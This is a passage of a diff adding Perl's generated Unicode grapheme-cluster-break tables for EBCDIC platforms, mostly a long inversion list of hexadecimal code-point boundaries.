+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Control,
+	GCB_Extend,
+	GCB_Control,
+	GCB_Extend,
+	GCB_Control,
+	GCB_Other
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_GCB_invlist[] = { /* for EBCDIC 037 */
+	1690,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE,
+	0x25,
+	0x26,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x904,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x93E,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9BF,
+	0x9C1,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBBF,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC01,
+	0xC04,
+	0xC3E,
+	0xC41,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCBF,
+	0xCC0,
+	0xCC2,
+	0xCC3,
+	0xCC5,
+	0xCC6,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD3F,
+	0xD41,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDDF,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1056,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1084,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x1100,
+	0x1160,
+	0x11A8,
+	0x1200,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A55,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B05,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1B83,
+	0x1BA1,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1C24,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA983,
+	0xA984,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA4E,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAEC,
+	0xAAEE,
+	0xAAF0,
+	0xAAF5,
+	0xAAF6,
+	0xAAF7,
+	0xABE3,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABEB,
+	0xABEC,
+	0xABED,
+	0xABEE,
+	0xAC00,
+	0xAC01,
+	0xAC1C,
+	0xAC1D,
+	0xAC38,
+	0xAC39,
+	0xAC54,
+	0xAC55,
+	0xAC70,
+	0xAC71,
+	0xAC8C,
+	0xAC8D,
+	0xACA8,
+	0xACA9,
+	0xACC4,
+	0xACC5,
+	0xACE0,
+	0xACE1,
+	0xACFC,
+	0xACFD,
+	0xAD18,
+	0xAD19,
+	0xAD34,
+	0xAD35,
+	0xAD50,
+	0xAD51,
+	0xAD6C,
+	0xAD6D,
+	0xAD88,
+	0xAD89,
+	0xADA4,
+	0xADA5,
+	0xADC0,
+	0xADC1,
+	0xADDC,
+	0xADDD,
+	0xADF8,
+	0xADF9,
+	0xAE14,
+	0xAE15,
+	0xAE30,
+	0xAE31,
+	0xAE4C,
+	0xAE4D,
+	0xAE68,
+	0xAE69,
+	0xAE84,
+	0xAE85,
+	0xAEA0,
+	0xAEA1,
+	0xAEBC,
+	0xAEBD,
+	0xAED8,
+	0xAED9,
+	0xAEF4,
+	0xAEF5,
+	0xAF10,
+	0xAF11,
+	0xAF2C,
+	0xAF2D,
+	0xAF48,
+	0xAF49,
+	0xAF64,
+	0xAF65,
+	0xAF80,
+	0xAF81,
+	0xAF9C,
+	0xAF9D,
+	0xAFB8,
+	0xAFB9,
+	0xAFD4,
+	0xAFD5,
+	0xAFF0,
+	0xAFF1,
+	0xB00C,
+	0xB00D,
+	0xB028,
+	0xB029,
+	0xB044,
+	0xB045,
+	0xB060,
+	0xB061,
+	0xB07C,
+	0xB07D,
+	0xB098,
+	0xB099,
+	0xB0B4,
+	0xB0B5,
+	0xB0D0,
+	0xB0D1,
+	0xB0EC,
+	0xB0ED,
+	0xB108,
+	0xB109,
+	0xB124,
+	0xB125,
+	0xB140,
+	0xB141,
+	0xB15C,
+	0xB15D,
+	0xB178,
+	0xB179,
+	0xB194,
+	0xB195,
+	0xB1B0,
+	0xB1B1,
+	0xB1CC,
+	0xB1CD,
+	0xB1E8,
+	0xB1E9,
+	0xB204,
+	0xB205,
+	0xB220,
+	0xB221,
+	0xB23C,
+	0xB23D,
+	0xB258,
+	0xB259,
+	0xB274,
+	0xB275,
+	0xB290,
+	0xB291,
+	0xB2AC,
+	0xB2AD,
+	0xB2C8,
+	0xB2C9,
+	0xB2E4,
+	0xB2E5,
+	0xB300,
+	0xB301,
+	0xB31C,
+	0xB31D,
+	0xB338,
+	0xB339,
+	0xB354,
+	0xB355,
+	0xB370,
+	0xB371,
+	0xB38C,
+	0xB38D,
+	0xB3A8,
+	0xB3A9,
+	0xB3C4,
+	0xB3C5,
+	0xB3E0,
+	0xB3E1,
+	0xB3FC,
+	0xB3FD,
+	0xB418,
+	0xB419,
+	0xB434,
+	0xB435,
+	0xB450,
+	0xB451,
+	0xB46C,
+	0xB46D,
+	0xB488,
+	0xB489,
+	0xB4A4,
+	0xB4A5,
+	0xB4C0,
+	0xB4C1,
+	0xB4DC,
+	0xB4DD,
+	0xB4F8,
+	0xB4F9,
+	0xB514,
+	0xB515,
+	0xB530,
+	0xB531,
+	0xB54C,
+	0xB54D,
+	0xB568,
+	0xB569,
+	0xB584,
+	0xB585,
+	0xB5A0,
+	0xB5A1,
+	0xB5BC,
+	0xB5BD,
+	0xB5D8,
+	0xB5D9,
+	0xB5F4,
+	0xB5F5,
+	0xB610,
+	0xB611,
+	0xB62C,
+	0xB62D,
+	0xB648,
+	0xB649,
+	0xB664,
+	0xB665,
+	0xB680,
+	0xB681,
+	0xB69C,
+	0xB69D,
+	0xB6B8,
+	0xB6B9,
+	0xB6D4,
+	0xB6D5,
+	0xB6F0,
+	0xB6F1,
+	0xB70C,
+	0xB70D,
+	0xB728,
+	0xB729,
+	0xB744,
+	0xB745,
+	0xB760,
+	0xB761,
+	0xB77C,
+	0xB77D,
+	0xB798,
+	0xB799,
+	0xB7B4,
+	0xB7B5,
+	0xB7D0,
+	0xB7D1,
+	0xB7EC,
+	0xB7ED,
+	0xB808,
+	0xB809,
+	0xB824,
+	0xB825,
+	0xB840,
+	0xB841,
+	0xB85C,
+	0xB85D,
+	0xB878,
+	0xB879,
+	0xB894,
+	0xB895,
+	0xB8B0,
+	0xB8B1,
+	0xB8CC,
+	0xB8CD,
+	0xB8E8,
+	0xB8E9,
+	0xB904,
+	0xB905,
+	0xB920,
+	0xB921,
+	0xB93C,
+	0xB93D,
+	0xB958,
+	0xB959,
+	0xB974,
+	0xB975,
+	0xB990,
+	0xB991,
+	0xB9AC,
+	0xB9AD,
+	0xB9C8,
+	0xB9C9,
+	0xB9E4,
+	0xB9E5,
+	0xBA00,
+	0xBA01,
+	0xBA1C,
+	0xBA1D,
+	0xBA38,
+	0xBA39,
+	0xBA54,
+	0xBA55,
+	0xBA70,
+	0xBA71,
+	0xBA8C,
+	0xBA8D,
+	0xBAA8,
+	0xBAA9,
+	0xBAC4,
+	0xBAC5,
+	0xBAE0,
+	0xBAE1,
+	0xBAFC,
+	0xBAFD,
+	0xBB18,
+	0xBB19,
+	0xBB34,
+	0xBB35,
+	0xBB50,
+	0xBB51,
+	0xBB6C,
+	0xBB6D,
+	0xBB88,
+	0xBB89,
+	0xBBA4,
+	0xBBA5,
+	0xBBC0,
+	0xBBC1,
+	0xBBDC,
+	0xBBDD,
+	0xBBF8,
+	0xBBF9,
+	0xBC14,
+	0xBC15,
+	0xBC30,
+	0xBC31,
+	0xBC4C,
+	0xBC4D,
+	0xBC68,
+	0xBC69,
+	0xBC84,
+	0xBC85,
+	0xBCA0,
+	0xBCA1,
+	0xBCBC,
+	0xBCBD,
+	0xBCD8,
+	0xBCD9,
+	0xBCF4,
+	0xBCF5,
+	0xBD10,
+	0xBD11,
+	0xBD2C,
+	0xBD2D,
+	0xBD48,
+	0xBD49,
+	0xBD64,
+	0xBD65,
+	0xBD80,
+	0xBD81,
+	0xBD9C,
+	0xBD9D,
+	0xBDB8,
+	0xBDB9,
+	0xBDD4,
+	0xBDD5,
+	0xBDF0,
+	0xBDF1,
+	0xBE0C,
+	0xBE0D,
+	0xBE28,
+	0xBE29,
+	0xBE44,
+	0xBE45,
+	0xBE60,
+	0xBE61,
+	0xBE7C,
+	0xBE7D,
+	0xBE98,
+	0xBE99,
+	0xBEB4,
+	0xBEB5,
+	0xBED0,
+	0xBED1,
+	0xBEEC,
+	0xBEED,
+	0xBF08,
+	0xBF09,
+	0xBF24,
+	0xBF25,
+	0xBF40,
+	0xBF41,
+	0xBF5C,
+	0xBF5D,
+	0xBF78,
+	0xBF79,
+	0xBF94,
+	0xBF95,
+	0xBFB0,
+	0xBFB1,
+	0xBFCC,
+	0xBFCD,
+	0xBFE8,
+	0xBFE9,
+	0xC004,
+	0xC005,
+	0xC020,
+	0xC021,
+	0xC03C,
+	0xC03D,
+	0xC058,
+	0xC059,
+	0xC074,
+	0xC075,
+	0xC090,
+	0xC091,
+	0xC0AC,
+	0xC0AD,
+	0xC0C8,
+	0xC0C9,
+	0xC0E4,
+	0xC0E5,
+	0xC100,
+	0xC101,
+	0xC11C,
+	0xC11D,
+	0xC138,
+	0xC139,
+	0xC154,
+	0xC155,
+	0xC170,
+	0xC171,
+	0xC18C,
+	0xC18D,
+	0xC1A8,
+	0xC1A9,
+	0xC1C4,
+	0xC1C5,
+	0xC1E0,
+	0xC1E1,
+	0xC1FC,
+	0xC1FD,
+	0xC218,
+	0xC219,
+	0xC234,
+	0xC235,
+	0xC250,
+	0xC251,
+	0xC26C,
+	0xC26D,
+	0xC288,
+	0xC289,
+	0xC2A4,
+	0xC2A5,
+	0xC2C0,
+	0xC2C1,
+	0xC2DC,
+	0xC2DD,
+	0xC2F8,
+	0xC2F9,
+	0xC314,
+	0xC315,
+	0xC330,
+	0xC331,
+	0xC34C,
+	0xC34D,
+	0xC368,
+	0xC369,
+	0xC384,
+	0xC385,
+	0xC3A0,
+	0xC3A1,
+	0xC3BC,
+	0xC3BD,
+	0xC3D8,
+	0xC3D9,
+	0xC3F4,
+	0xC3F5,
+	0xC410,
+	0xC411,
+	0xC42C,
+	0xC42D,
+	0xC448,
+	0xC449,
+	0xC464,
+	0xC465,
+	0xC480,
+	0xC481,
+	0xC49C,
+	0xC49D,
+	0xC4B8,
+	0xC4B9,
+	0xC4D4,
+	0xC4D5,
+	0xC4F0,
+	0xC4F1,
+	0xC50C,
+	0xC50D,
+	0xC528,
+	0xC529,
+	0xC544,
+	0xC545,
+	0xC560,
+	0xC561,
+	0xC57C,
+	0xC57D,
+	0xC598,
+	0xC599,
+	0xC5B4,
+	0xC5B5,
+	0xC5D0,
+	0xC5D1,
+	0xC5EC,
+	0xC5ED,
+	0xC608,
+	0xC609,
+	0xC624,
+	0xC625,
+	0xC640,
+	0xC641,
+	0xC65C,
+	0xC65D,
+	0xC678,
+	0xC679,
+	0xC694,
+	0xC695,
+	0xC6B0,
+	0xC6B1,
+	0xC6CC,
+	0xC6CD,
+	0xC6E8,
+	0xC6E9,
+	0xC704,
+	0xC705,
+	0xC720,
+	0xC721,
+	0xC73C,
+	0xC73D,
+	0xC758,
+	0xC759,
+	0xC774,
+	0xC775,
+	0xC790,
+	0xC791,
+	0xC7AC,
+	0xC7AD,
+	0xC7C8,
+	0xC7C9,
+	0xC7E4,
+	0xC7E5,
+	0xC800,
+	0xC801,
+	0xC81C,
+	0xC81D,
+	0xC838,
+	0xC839,
+	0xC854,
+	0xC855,
+	0xC870,
+	0xC871,
+	0xC88C,
+	0xC88D,
+	0xC8A8,
+	0xC8A9,
+	0xC8C4,
+	0xC8C5,
+	0xC8E0,
+	0xC8E1,
+	0xC8FC,
+	0xC8FD,
+	0xC918,
+	0xC919,
+	0xC934,
+	0xC935,
+	0xC950,
+	0xC951,
+	0xC96C,
+	0xC96D,
+	0xC988,
+	0xC989,
+	0xC9A4,
+	0xC9A5,
+	0xC9C0,
+	0xC9C1,
+	0xC9DC,
+	0xC9DD,
+	0xC9F8,
+	0xC9F9,
+	0xCA14,
+	0xCA15,
+	0xCA30,
+	0xCA31,
+	0xCA4C,
+	0xCA4D,
+	0xCA68,
+	0xCA69,
+	0xCA84,
+	0xCA85,
+	0xCAA0,
+	0xCAA1,
+	0xCABC,
+	0xCABD,
+	0xCAD8,
+	0xCAD9,
+	0xCAF4,
+	0xCAF5,
+	0xCB10,
+	0xCB11,
+	0xCB2C,
+	0xCB2D,
+	0xCB48,
+	0xCB49,
+	0xCB64,
+	0xCB65,
+	0xCB80,
+	0xCB81,
+	0xCB9C,
+	0xCB9D,
+	0xCBB8,
+	0xCBB9,
+	0xCBD4,
+	0xCBD5,
+	0xCBF0,
+	0xCBF1,
+	0xCC0C,
+	0xCC0D,
+	0xCC28,
+	0xCC29,
+	0xCC44,
+	0xCC45,
+	0xCC60,
+	0xCC61,
+	0xCC7C,
+	0xCC7D,
+	0xCC98,
+	0xCC99,
+	0xCCB4,
+	0xCCB5,
+	0xCCD0,
+	0xCCD1,
+	0xCCEC,
+	0xCCED,
+	0xCD08,
+	0xCD09,
+	0xCD24,
+	0xCD25,
+	0xCD40,
+	0xCD41,
+	0xCD5C,
+	0xCD5D,
+	0xCD78,
+	0xCD79,
+	0xCD94,
+	0xCD95,
+	0xCDB0,
+	0xCDB1,
+	0xCDCC,
+	0xCDCD,
+	0xCDE8,
+	0xCDE9,
+	0xCE04,
+	0xCE05,
+	0xCE20,
+	0xCE21,
+	0xCE3C,
+	0xCE3D,
+	0xCE58,
+	0xCE59,
+	0xCE74,
+	0xCE75,
+	0xCE90,
+	0xCE91,
+	0xCEAC,
+	0xCEAD,
+	0xCEC8,
+	0xCEC9,
+	0xCEE4,
+	0xCEE5,
+	0xCF00,
+	0xCF01,
+	0xCF1C,
+	0xCF1D,
+	0xCF38,
+	0xCF39,
+	0xCF54,
+	0xCF55,
+	0xCF70,
+	0xCF71,
+	0xCF8C,
+	0xCF8D,
+	0xCFA8,
+	0xCFA9,
+	0xCFC4,
+	0xCFC5,
+	0xCFE0,
+	0xCFE1,
+	0xCFFC,
+	0xCFFD,
+	0xD018,
+	0xD019,
+	0xD034,
+	0xD035,
+	0xD050,
+	0xD051,
+	0xD06C,
+	0xD06D,
+	0xD088,
+	0xD089,
+	0xD0A4,
+	0xD0A5,
+	0xD0C0,
+	0xD0C1,
+	0xD0DC,
+	0xD0DD,
+	0xD0F8,
+	0xD0F9,
+	0xD114,
+	0xD115,
+	0xD130,
+	0xD131,
+	0xD14C,
+	0xD14D,
+	0xD168,
+	0xD169,
+	0xD184,
+	0xD185,
+	0xD1A0,
+	0xD1A1,
+	0xD1BC,
+	0xD1BD,
+	0xD1D8,
+	0xD1D9,
+	0xD1F4,
+	0xD1F5,
+	0xD210,
+	0xD211,
+	0xD22C,
+	0xD22D,
+	0xD248,
+	0xD249,
+	0xD264,
+	0xD265,
+	0xD280,
+	0xD281,
+	0xD29C,
+	0xD29D,
+	0xD2B8,
+	0xD2B9,
+	0xD2D4,
+	0xD2D5,
+	0xD2F0,
+	0xD2F1,
+	0xD30C,
+	0xD30D,
+	0xD328,
+	0xD329,
+	0xD344,
+	0xD345,
+	0xD360,
+	0xD361,
+	0xD37C,
+	0xD37D,
+	0xD398,
+	0xD399,
+	0xD3B4,
+	0xD3B5,
+	0xD3D0,
+	0xD3D1,
+	0xD3EC,
+	0xD3ED,
+	0xD408,
+	0xD409,
+	0xD424,
+	0xD425,
+	0xD440,
+	0xD441,
+	0xD45C,
+	0xD45D,
+	0xD478,
+	0xD479,
+	0xD494,
+	0xD495,
+	0xD4B0,
+	0xD4B1,
+	0xD4CC,
+	0xD4CD,
+	0xD4E8,
+	0xD4E9,
+	0xD504,
+	0xD505,
+	0xD520,
+	0xD521,
+	0xD53C,
+	0xD53D,
+	0xD558,
+	0xD559,
+	0xD574,
+	0xD575,
+	0xD590,
+	0xD591,
+	0xD5AC,
+	0xD5AD,
+	0xD5C8,
+	0xD5C9,
+	0xD5E4,
+	0xD5E5,
+	0xD600,
+	0xD601,
+	0xD61C,
+	0xD61D,
+	0xD638,
+	0xD639,
+	0xD654,
+	0xD655,
+	0xD670,
+	0xD671,
+	0xD68C,
+	0xD68D,
+	0xD6A8,
+	0xD6A9,
+	0xD6C4,
+	0xD6C5,
+	0xD6E0,
+	0xD6E1,
+	0xD6FC,
+	0xD6FD,
+	0xD718,
+	0xD719,
+	0xD734,
+	0xD735,
+	0xD750,
+	0xD751,
+	0xD76C,
+	0xD76D,
+	0xD788,
+	0xD789,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xE000,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFF9E,
+	0xFFA0,
+	0xFFF0,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x11083,
+	0x110B0,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x11183,
+	0x111B3,
+	0x111B6,
+	0x111BF,
+	0x111C1,
+	0x111C2,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x1133F,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B0,
+	0x114B1,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115AF,
+	0x115B0,
+	0x115B2,
+	0x115B6,
+	0x115B8,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A86,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C2F,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D166,
+	0x1D167,
+	0x1D16A,
+	0x1D16D,
+	0x1D16E,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
